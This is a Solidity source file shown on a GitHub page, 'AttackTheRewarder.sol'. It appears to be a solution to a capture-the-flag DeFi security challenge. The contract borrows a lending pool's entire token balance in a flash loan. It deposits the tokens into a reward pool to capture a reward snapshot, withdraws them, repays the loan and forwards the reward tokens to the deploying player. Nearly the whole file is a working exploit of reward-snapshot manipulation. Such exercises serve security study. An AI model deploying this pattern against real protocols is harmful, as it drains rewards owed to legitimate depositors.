-
Notifications
You must be signed in to change notification settings - Fork 18
/
AttackTheRewarder.sol
54 lines (44 loc) · 1.53 KB
/
AttackTheRewarder.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IFlashloanPool {
function flashLoan(uint256 amount) external;
}
interface IRewardPool {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
}
contract AttackTheRewarder {
IFlashloanPool immutable flashLoanPool;
IRewardPool immutable rewardPool;
IERC20 immutable liquidityToken;
IERC20 immutable rewardToken;
address immutable player;
constructor(
address _flashloanPool,
address _rewardPool,
address _liquidityToken,
address _rewardToken
) {
flashLoanPool = IFlashloanPool(_flashloanPool);
rewardPool = IRewardPool(_rewardPool);
liquidityToken = IERC20(_liquidityToken);
rewardToken = IERC20(_rewardToken);
player = msg.sender;
}
function attack() external {
flashLoanPool.flashLoan(
liquidityToken.balanceOf(address(flashLoanPool))
);
}
function receiveFlashLoan(uint256 amount) external {
require(msg.sender == address(flashLoanPool));
require(tx.origin == player);
// Deposit --> Get Rewards --> Withdraw
liquidityToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.withdraw(amount);
// Pay back the loan & send reward tokens to player
liquidityToken.transfer(address(flashLoanPool), amount);
rewardToken.transfer(player, rewardToken.balanceOf(address(this)));
}
}